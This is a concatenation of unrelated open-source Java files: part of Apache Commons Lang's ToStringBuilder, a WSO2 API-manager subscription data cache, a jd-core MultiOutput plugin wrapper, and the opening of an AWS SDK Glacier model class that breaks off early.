public ToStringBuilder append(final String fieldName, final boolean[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>byte</code>
* value.</p>
*
* @param fieldName the field name
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final byte value) {
style.append(buffer, fieldName, value);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>byte</code> array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final byte[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>byte</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final byte[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>char</code>
* value.</p>
*
* @param fieldName the field name
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final char value) {
style.append(buffer, fieldName, value);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>char</code>
* array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final char[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>char</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final char[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>double</code>
* value.</p>
*
* @param fieldName the field name
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final double value) {
style.append(buffer, fieldName, value);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>double</code>
* array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final double[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>double</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final double[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>float</code>
* value.</p>
*
* @param fieldName the field name
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final float value) {
style.append(buffer, fieldName, value);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>float</code>
* array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final float[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>float</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final float[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>int</code>
* value.</p>
*
* @param fieldName the field name
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final int value) {
style.append(buffer, fieldName, value);
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>int</code>
* array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final int[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>int</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final int[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>long</code>
* value.</p>
*
* @param fieldName the field name
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final long value) {
style.append(buffer, fieldName, value);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>long</code>
* array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final long[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>long</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final long[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>Object</code>
* value.</p>
*
* @param fieldName the field name
* @param obj the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final Object obj) {
style.append(buffer, fieldName, obj, null);
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>Object</code>
* value.</p>
*
* @param fieldName the field name
* @param obj the value to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail,
* <code>false</code> for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final Object obj, final boolean fullDetail) {
style.append(buffer, fieldName, obj, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>Object</code>
* array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final Object[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>Object</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final Object[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Append to the <code>toString</code> an <code>short</code>
* value.</p>
*
* @param fieldName the field name
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final short value) {
style.append(buffer, fieldName, value);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>short</code>
* array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final short[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>short</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
public ToStringBuilder append(final String fieldName, final short[] array, final boolean fullDetail) {
style.append(buffer, fieldName, array, Boolean.valueOf(fullDetail));
return this;
}
/**
* <p>Appends with the same format as the default <code>Object toString()
* </code> method. Appends the class name followed by
* {@link System#identityHashCode(java.lang.Object)}.</p>
*
* @param srcObject the <code>Object</code> whose class name and id to output
* @return this
* @since 2.0
*/
public ToStringBuilder appendAsObjectToString(final Object srcObject) {
ObjectUtils.identityToString(this.getStringBuffer(), srcObject);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append the <code>toString</code> from the superclass.</p>
*
* <p>This method assumes that the superclass uses the same <code>ToStringStyle</code>
* as this one.</p>
*
* <p>If <code>superToString</code> is <code>null</code>, no change is made.</p>
*
* @param superToString the result of <code>super.toString()</code>
* @return this
* @since 2.0
*/
public ToStringBuilder appendSuper(final String superToString) {
if (superToString != null) {
style.appendSuper(buffer, superToString);
}
return this;
}
/**
* <p>Append the <code>toString</code> from another object.</p>
*
* <p>This method is useful where a class delegates most of the implementation of
* its properties to another class. You can then call <code>toString()</code> on
* the other class and pass the result into this method.</p>
*
* <pre>
* private AnotherObject delegate;
* private String fieldInThisClass;
*
* public String toString() {
* return new ToStringBuilder(this).
* appendToString(delegate.toString()).
* append(fieldInThisClass).
* toString();
* }</pre>
*
* <p>This method assumes that the other object uses the same <code>ToStringStyle</code>
* as this one.</p>
*
* <p>If the <code>toString</code> is <code>null</code>, no change is made.</p>
*
* @param toString the result of <code>toString()</code> on another object
* @return this
* @since 2.0
*/
public ToStringBuilder appendToString(final String toString) {
if (toString != null) {
style.appendToString(buffer, toString);
}
return this;
}
/**
* <p>Returns the <code>Object</code> being output.</p>
*
* @return The object being output.
* @since 2.0
*/
public Object getObject() {
return object;
}
/**
* <p>Gets the <code>StringBuffer</code> being populated.</p>
*
* @return the <code>StringBuffer</code> being populated
*/
public StringBuffer getStringBuffer() {
return buffer;
}
//----------------------------------------------------------------------------
/**
* <p>Gets the <code>ToStringStyle</code> being used.</p>
*
* @return the <code>ToStringStyle</code> being used
* @since 2.0
*/
public ToStringStyle getStyle() {
return style;
}
/**
* <p>Returns the built <code>toString</code>.</p>
*
* <p>This method appends the end of data indicator, and can only be called once.
* Use {@link #getStringBuffer} to get the current string state.</p>
*
* <p>If the object is <code>null</code>, return the style's <code>nullText</code></p>
*
* @return the String <code>toString</code>
*/
@Override
public String toString() {
if (this.getObject() == null) {
this.getStringBuffer().append(this.getStyle().getNullText());
} else {
style.appendEnd(this.getStringBuffer(), this.getObject());
}
return this.getStringBuffer().toString();
}
/**
* Returns the String that was build as an object representation. The
* default implementation utilizes the {@link #toString()} implementation.
*
* @return the String <code>toString</code>
*
* @see #toString()
*
* @since 3.0
*/
@Override
public String build() {
return toString();
}
}
| |
/*
* Copyright (c) 2020, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.
*
* WSO2 Inc. licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file except
* in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.wso2.carbon.apimgt.keymgt.model.impl;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.wso2.carbon.apimgt.api.APIManagementException;
import org.wso2.carbon.apimgt.api.model.subscription.CacheableEntity;
import org.wso2.carbon.apimgt.keymgt.model.SubscriptionDataStore;
import org.wso2.carbon.apimgt.keymgt.model.entity.API;
import org.wso2.carbon.apimgt.keymgt.model.entity.ApiPolicy;
import org.wso2.carbon.apimgt.keymgt.model.entity.Application;
import org.wso2.carbon.apimgt.keymgt.model.entity.ApplicationKeyMapping;
import org.wso2.carbon.apimgt.keymgt.model.entity.ApplicationKeyMappingCacheKey;
import org.wso2.carbon.apimgt.keymgt.model.entity.ApplicationPolicy;
import org.wso2.carbon.apimgt.keymgt.model.entity.Policy;
import org.wso2.carbon.apimgt.keymgt.model.entity.Scope;
import org.wso2.carbon.apimgt.keymgt.model.entity.Subscription;
import org.wso2.carbon.apimgt.keymgt.model.entity.SubscriptionPolicy;
import org.wso2.carbon.apimgt.keymgt.model.exception.DataLoadingException;
import org.wso2.carbon.apimgt.keymgt.model.util.SubscriptionDataStoreUtil;
import org.wso2.carbon.base.MultitenantConstants;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
import java.util.function.Supplier;
import java.util.stream.Collectors;
public class SubscriptionDataStoreImpl implements SubscriptionDataStore {
private static final Log log = LogFactory.getLog(SubscriptionDataStoreImpl.class);
private boolean scopesInitialized;
public enum POLICY_TYPE {
SUBSCRIPTION,
APPLICATION,
API
}
public static final String DELEM_PERIOD = ":";
// Maps for keeping Subscription related details.
private Map<ApplicationKeyMappingCacheKey, ApplicationKeyMapping> applicationKeyMappingMap;
private Map<Integer, Application> applicationMap;
private Map<String, API> apiMap;
private Map<String, ApiPolicy> apiPolicyMap;
private Map<String, SubscriptionPolicy> subscriptionPolicyMap;
private Map<String, ApplicationPolicy> appPolicyMap;
private Map<String, Subscription> subscriptionMap;
private Map<String,Scope> scopesMap;
private boolean apisInitialized;
private boolean applicationsInitialized;
private boolean subscriptionsInitialized;
private boolean applicationKeysInitialized;
private boolean applicationPoliciesInitialized;
private boolean subscriptionPoliciesInitialized;
private boolean apiPoliciesInitialized;
public static final int LOADING_POOL_SIZE = 7;
private String tenantDomain = MultitenantConstants.SUPER_TENANT_DOMAIN_NAME;
private ScheduledExecutorService executorService = Executors.newScheduledThreadPool(LOADING_POOL_SIZE);
public SubscriptionDataStoreImpl(String tenantDomain) {
this.tenantDomain = tenantDomain;
initializeStore();
}
public SubscriptionDataStoreImpl() {
initializeStore();
}
private void initializeStore() {
this.applicationKeyMappingMap = new ConcurrentHashMap<>();
this.applicationMap = new ConcurrentHashMap<>();
this.apiMap = new ConcurrentHashMap<>();
this.subscriptionPolicyMap = new ConcurrentHashMap<>();
this.appPolicyMap = new ConcurrentHashMap<>();
this.apiPolicyMap = new ConcurrentHashMap<>();
this.subscriptionMap = new ConcurrentHashMap<>();
this.scopesMap = new ConcurrentHashMap<>();
initializeLoadingTasks();
}
@Override
public Application getApplicationById(int appId) {
return applicationMap.get(appId);
}
@Override
public ApplicationKeyMapping getKeyMappingByKeyAndKeyManager(String key, String keyManager) {
return applicationKeyMappingMap.get(new ApplicationKeyMappingCacheKey(key, keyManager));
}
@Override
public API getApiByContextAndVersion(String context, String version) {
String key = context + DELEM_PERIOD + version;
return apiMap.get(key);
}
@Override
public SubscriptionPolicy getSubscriptionPolicyByName(String policyName, int tenantId) {
String key = POLICY_TYPE.SUBSCRIPTION +
SubscriptionDataStoreUtil.getPolicyCacheKey(policyName, tenantId);
return subscriptionPolicyMap.get(key);
}
@Override
public ApplicationPolicy getApplicationPolicyByName(String policyName, int tenantId) {
String key = POLICY_TYPE.APPLICATION + DELEM_PERIOD +
SubscriptionDataStoreUtil.getPolicyCacheKey(policyName, tenantId);
return appPolicyMap.get(key);
}
@Override
public Subscription getSubscriptionById(int appId, int apiId) {
return subscriptionMap.get(SubscriptionDataStoreUtil.getSubscriptionCacheKey(appId, apiId));
}
@Override
public ApiPolicy getApiPolicyByName(String policyName, int tenantId) {
String key = POLICY_TYPE.API + DELEM_PERIOD +
SubscriptionDataStoreUtil.getPolicyCacheKey(policyName, tenantId);
return apiPolicyMap.get(key);
}
public void initializeLoadingTasks() {
Runnable apiTask = new PopulateTask<String, API>(apiMap,
() -> {
try {
log.debug("Calling loadAllApis. ");
List<API> apiList = new SubscriptionDataLoaderImpl().loadAllApis(tenantDomain);
apisInitialized = true;
return apiList;
} catch (APIManagementException e) {
log.error("Exception while loading APIs " + e);
}
return null;
});
executorService.schedule(apiTask, 0, TimeUnit.SECONDS);
Runnable subscriptionLoadingTask = new PopulateTask<String, Subscription>(subscriptionMap,
() -> {
try {
log.debug("Calling loadAllSubscriptions.");
List<Subscription> subscriptionList =
new SubscriptionDataLoaderImpl().loadAllSubscriptions(tenantDomain);
subscriptionsInitialized = true;
return subscriptionList;
} catch (APIManagementException e) {
log.error("Exception while loading Subscriptions " + e);
}
return null;
});
executorService.schedule(subscriptionLoadingTask, 0, TimeUnit.SECONDS);
Runnable applicationLoadingTask = new PopulateTask<Integer, Application>(applicationMap,
() -> {
try {
log.debug("Calling loadAllApplications.");
List<Application> applicationList =
new SubscriptionDataLoaderImpl().loadAllApplications(tenantDomain);
applicationsInitialized = true;
return applicationList;
} catch (APIManagementException e) {
log.error("Exception while loading Applications " + e);
}
return null;
});
executorService.schedule(applicationLoadingTask, 0, TimeUnit.SECONDS);
Runnable keyMappingsTask =
new PopulateTask<ApplicationKeyMappingCacheKey, ApplicationKeyMapping>(applicationKeyMappingMap,
() -> {
try {
log.debug("Calling loadAllKeyMappings.");
List<ApplicationKeyMapping> applicationKeyMappingList =
new SubscriptionDataLoaderImpl().loadAllKeyMappings(tenantDomain);
applicationKeysInitialized = true;
return applicationKeyMappingList;
} catch (APIManagementException e) {
log.error("Exception while loading ApplicationKeyMapping " + e);
}
return null;
});
executorService.schedule(keyMappingsTask, 0, TimeUnit.SECONDS);
Runnable apiPolicyLoadingTask =
new PopulateTask<String, ApiPolicy>(apiPolicyMap,
() -> {
try {
log.debug("Calling loadAllSubscriptionPolicies.");
List<ApiPolicy> apiPolicyList =
new SubscriptionDataLoaderImpl().loadAllAPIPolicies(tenantDomain);
apiPoliciesInitialized = true;
return apiPolicyList;
} catch (APIManagementException e) {
log.error("Exception while loading api Policies " + e);
}
return null;
});
executorService.schedule(apiPolicyLoadingTask, 0, TimeUnit.SECONDS);
Runnable subPolicyLoadingTask =
new PopulateTask<String, SubscriptionPolicy>(subscriptionPolicyMap,
() -> {
try {
log.debug("Calling loadAllSubscriptionPolicies.");
List<SubscriptionPolicy> subscriptionPolicyList =
new SubscriptionDataLoaderImpl().loadAllSubscriptionPolicies(tenantDomain);
subscriptionPoliciesInitialized = true;
return subscriptionPolicyList;
} catch (APIManagementException e) {
log.error("Exception while loading Subscription Policies " + e);
}
return null;
});
executorService.schedule(subPolicyLoadingTask, 0, TimeUnit.SECONDS);
Runnable appPolicyLoadingTask =
new PopulateTask<String, ApplicationPolicy>(appPolicyMap,
() -> {
try {
log.debug("Calling loadAllAppPolicies.");
List<ApplicationPolicy> applicationPolicyList =
new SubscriptionDataLoaderImpl().loadAllAppPolicies(tenantDomain);
applicationPoliciesInitialized = true;
return applicationPolicyList;
} catch (APIManagementException e) {
log.error("Exception while loading Application Policies " + e);
}
return null;
});
executorService.schedule(appPolicyLoadingTask, 0, TimeUnit.SECONDS);
Runnable scopesLoadingTask =
new PopulateTask<>(scopesMap,
() -> {
try {
log.debug("Calling loadAllScopes.");
List<Scope> scopeList =
new SubscriptionDataLoaderImpl().loadAllScopes(tenantDomain);
scopesInitialized = true;
return scopeList;
} catch (APIManagementException e) {
log.error("Exception while loading Scopes " + e);
}
return null;
});
executorService.schedule(scopesLoadingTask, 0, TimeUnit.SECONDS);
}
private <T extends Policy> T getPolicy(String policyName, int tenantId,
Map<String, T> policyMap) {
return policyMap.get(SubscriptionDataStoreUtil.getPolicyCacheKey(policyName, tenantId));
}
private class PopulateTask<K, V extends CacheableEntity<K>> implements Runnable {
private Map<K, V> entityMap;
private Supplier<List<V>> supplier;
PopulateTask(Map<K, V> entityMap, Supplier<List<V>> supplier) {
this.entityMap = entityMap;
this.supplier = supplier;
}
public void run() {
List<V> list = supplier.get();
HashMap<K, V> tempMap = new HashMap<>();
if (list != null) {
for (V v : list) {
tempMap.put(v.getCacheKey(), v);
if (log.isDebugEnabled()) {
log.debug(String.format("Adding entry Key : %s Value : %s", v.getCacheKey(), v));
}
if (!tempMap.isEmpty()) {
entityMap.clear();
entityMap.putAll(tempMap);
}
}
} else {
if (log.isDebugEnabled()) {
log.debug("List is null for " + supplier.getClass());
}
}
}
}
public boolean isApisInitialized() {
return apisInitialized;
}
public boolean isApplicationsInitialized() {
return applicationsInitialized;
}
public boolean isSubscriptionsInitialized() {
return subscriptionsInitialized;
}
public boolean isApplicationKeysInitialized() {
return applicationKeysInitialized;
}
public boolean isApplicationPoliciesInitialized() {
return applicationPoliciesInitialized;
}
public boolean isSubscriptionPoliciesInitialized() {
return subscriptionPoliciesInitialized;
}
public boolean isApiPoliciesInitialized() {
return apiPoliciesInitialized;
}
public boolean isSubscriptionValidationDataInitialized() {
return apisInitialized &&
applicationsInitialized &&
subscriptionsInitialized &&
applicationKeysInitialized &&
applicationPoliciesInitialized &&
subscriptionPoliciesInitialized &&
apiPoliciesInitialized;
}
@Override
public void addOrUpdateSubscription(Subscription subscription) {
synchronized (subscriptionMap) {
Subscription retrievedSubscription = subscriptionMap.get(subscription.getCacheKey());
if (retrievedSubscription == null) {
subscriptionMap.put(subscription.getCacheKey(), subscription);
} else {
if (subscription.getTimeStamp() < retrievedSubscription.getTimeStamp()) {
if (log.isDebugEnabled()) {
log.debug("Drop the Event " + subscription.toString() + " since the event timestamp was old");
}
} else {
subscriptionMap.put(subscription.getCacheKey(), subscription);
}
}
}
}
@Override
public void removeSubscription(Subscription subscription) {
subscriptionMap.remove(subscription.getCacheKey());
}
@Override
public void addOrUpdateAPI(API api) {
apiMap.put(api.getCacheKey(), api);
}
@Override
public void addOrUpdateAPIWithUrlTemplates(API api) {
try {
API newAPI = new SubscriptionDataLoaderImpl().getApi(api.getContext(), api.getApiVersion());
apiMap.put(api.getCacheKey(), newAPI);
} catch (DataLoadingException e) {
log.error("Exception while loading api for " + api.getContext() + " " + api.getApiVersion(), e);
}
}
@Override
public void removeAPI(API api) {
apiMap.remove(api.getCacheKey());
}
@Override
public void addOrUpdateApplicationKeyMapping(ApplicationKeyMapping applicationKeyMapping) {
applicationKeyMappingMap.remove(applicationKeyMapping.getCacheKey());
applicationKeyMappingMap.put(applicationKeyMapping.getCacheKey(), applicationKeyMapping);
}
@Override
public void removeApplicationKeyMapping(ApplicationKeyMapping applicationKeyMapping) {
applicationKeyMappingMap.remove(applicationKeyMapping.getCacheKey());
}
@Override
public void addOrUpdateSubscriptionPolicy(SubscriptionPolicy subscriptionPolicy) {
subscriptionPolicyMap.remove(subscriptionPolicy.getCacheKey());
subscriptionPolicyMap.put(subscriptionPolicy.getCacheKey(), subscriptionPolicy);
}
@Override
public void addOrUpdateApplicationPolicy(ApplicationPolicy applicationPolicy) {
appPolicyMap.remove(applicationPolicy.getCacheKey());
appPolicyMap.put(applicationPolicy.getCacheKey(), applicationPolicy);
}
@Override
public void removeApplicationPolicy(ApplicationPolicy applicationPolicy) {
appPolicyMap.remove(applicationPolicy.getCacheKey());
}
@Override
public void removeSubscriptionPolicy(SubscriptionPolicy subscriptionPolicy) {
subscriptionPolicyMap.remove(subscriptionPolicy.getCacheKey());
}
@Override
public void addOrUpdateApplication(Application application) {
applicationMap.remove(application.getId());
applicationMap.put(application.getId(), application);
}
@Override
public void removeApplication(Application application) {
applicationMap.remove(application.getId());
}
@Override
public void addOrUpdateApiPolicy(ApiPolicy apiPolicy) {
try {
ApiPolicy policy = new SubscriptionDataLoaderImpl().getAPIPolicy(apiPolicy.getName(), tenantDomain);
apiPolicyMap.remove(apiPolicy.getCacheKey());
apiPolicyMap.put(apiPolicy.getCacheKey(), policy);
} catch (DataLoadingException e) {
log.error("Exception while loading api policy for " + apiPolicy.getName() + " for domain " + tenantDomain,
e);
}
}
@Override
public void removeApiPolicy(ApiPolicy apiPolicy) {
apiPolicyMap.remove(apiPolicy.getCacheKey());
}
@Override
public API getDefaultApiByContext(String context) {
Set<String> set = apiMap.keySet()
.stream()
.filter(s -> s.startsWith(context))
.collect(Collectors.toSet());
for (String key : set) {
API api = apiMap.get(key);
if (api.isDefaultVersion() && (api.getContext().replace("/" + api.getApiVersion(), "")).equals(context)) {
return api;
}
}
return null;
}
public boolean isScopesInitialized() {
return scopesInitialized;
}
@Override
public void addOrUpdateScope(Scope scope) {
scopesMap.put(scope.getCacheKey(), scope);
}
@Override
public void deleteScope(Scope scope) {
scopesMap.remove(scope.getCacheKey());
}
@Override
public Map<String, Scope> getScopesByTenant(String tenantDomain) {
return scopesMap;
}
}
| |
/*
* Copyright 2013 kwart, betterphp, nviennot
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package jd.core.output;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.util.Collection;
import jd.core.IOUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Helper {@link JDOutput} implementation which takes other {@link JDOutput}
* instances and copies events to them.
*
* @author Josef Cacek
*/
public class MultiOutput extends AbstractJDOutput {
private static final Logger LOGGER = LoggerFactory.getLogger(MultiOutput.class);
private final JDOutput[] outputPlugins;
private final int validPlugins;
/**
* Constructor.
*
* @param plugins
*/
public MultiOutput(final JDOutput... plugins) {
LOGGER.trace("Creating MultiOutput");
outputPlugins = plugins;
int tmpValid = 0;
if (outputPlugins != null && outputPlugins.length > 0) {
for (JDOutput jdOut : outputPlugins) {
if (jdOut != null) {
tmpValid++;
} else {
LOGGER.warn("Null JDOutput provided to MultiOutput constructor.");
}
}
} else {
LOGGER.warn("No JDOutput provided to MultiOutput constructor.");
}
LOGGER.trace("MultiOutput instance wraps {} valid plugin(s).", tmpValid);
validPlugins = tmpValid;
}
/**
* Constructor.
*
* @param plugins
*/
public MultiOutput(final Collection<JDOutput> plugins) {
this(plugins.toArray(new JDOutput[plugins.size()]));
}
/**
* Returns true if this instance wraps at least one not-<code>null</code>
* {@link JDOutput}.
*
* @return
*/
public boolean isValid() {
return validPlugins > 0;
}
/*
* (non-Javadoc)
*
* @see jd.core.output.AbstractJDOutput#init(java.lang.String)
*/
@Override
public void init(final String basePath) {
if (!isValid())
return;
for (JDOutput jdOut : outputPlugins) {
if (jdOut != null) {
try {
jdOut.init(basePath);
} catch (Exception e) {
LOGGER.error("Callling init() of wrapped JDOutput failed.", e);
}
}
}
}
/*
* (non-Javadoc)
*
* @see jd.core.output.JDOutput#processClass(java.lang.String, java.lang.String)
*/
public void processClass(final String className, final String src) {
if (!isValid())
return;
for (JDOutput jdOut : outputPlugins) {
if (jdOut != null) {
try {
jdOut.processClass(className, src);
} catch (Exception e) {
LOGGER.error("Callling processClass() of wrapped JDOutput failed.", e);
}
}
}
}
/*
* (non-Javadoc)
*
* @see jd.core.output.AbstractJDOutput#commit()
*/
@Override
public void commit() {
if (!isValid())
return;
for (JDOutput jdOut : outputPlugins) {
if (jdOut != null) {
try {
jdOut.commit();
} catch (Exception e) {
LOGGER.error("Callling commit() of wrapped JDOutput failed.", e);
}
}
}
}
/**
* Calls {@link #processResource(String, InputStream)} method of wrapped
* {@link JDOutput} instances. If only one wrapped instance exist then the
* given InputStream is directly provided to it, otherwise temporary file is
* created and for each wrapped {@link JDOutput} instance is a new
* {@link FileInputStream} created.
*
* @see jd.core.output.JDOutput#processResource(java.lang.String,
* java.io.InputStream)
*/
public void processResource(String fileName, InputStream is) {
switch (validPlugins) {
case 0:
return;
case 1:
for (JDOutput jdOut : outputPlugins) {
if (jdOut != null) {
try {
jdOut.processResource(fileName, is);
} catch (Exception e) {
LOGGER.error("Callling processResource() of wrapped JDOutput failed.", e);
}
}
}
break;
default:
File f = null;
FileOutputStream fos = null;
try {
try {
f = File.createTempFile("jdTemp-", ".res");
fos = new FileOutputStream(f);
IOUtils.copy(is, fos);
} finally {
IOUtils.closeQuietly(fos);
}
for (JDOutput jdOut : outputPlugins) {
if (jdOut != null) {
FileInputStream fis = null;
try {
fis = new FileInputStream(f);
jdOut.processResource(fileName, fis);
} catch (Exception e) {
LOGGER.error("Callling processResource() of wrapped JDOutput failed.", e);
} finally {
IOUtils.closeQuietly(fis);
}
}
}
} catch (Exception e) {
LOGGER.error("Exception occured during handling processResource() for multiple wrapped JDOutput.", e);
} finally {
if (f != null)
f.delete();
}
break;
}
}
}
| |
/*
* Copyright 2017-2022 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
package com.amazonaws.services.glacier.model;
import java.io.Serializable;
import javax.annotation.Generated;
import com.amazonaws.protocol.StructuredPojo;
import com.amazonaws.protocol.ProtocolMarshaller;
/**
* <p>
* Represents a vault's notification configuration.
* </p>
*/
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class VaultNotificationConfig implements Serializable, Cloneable, StructuredPojo {
/**
* <p>
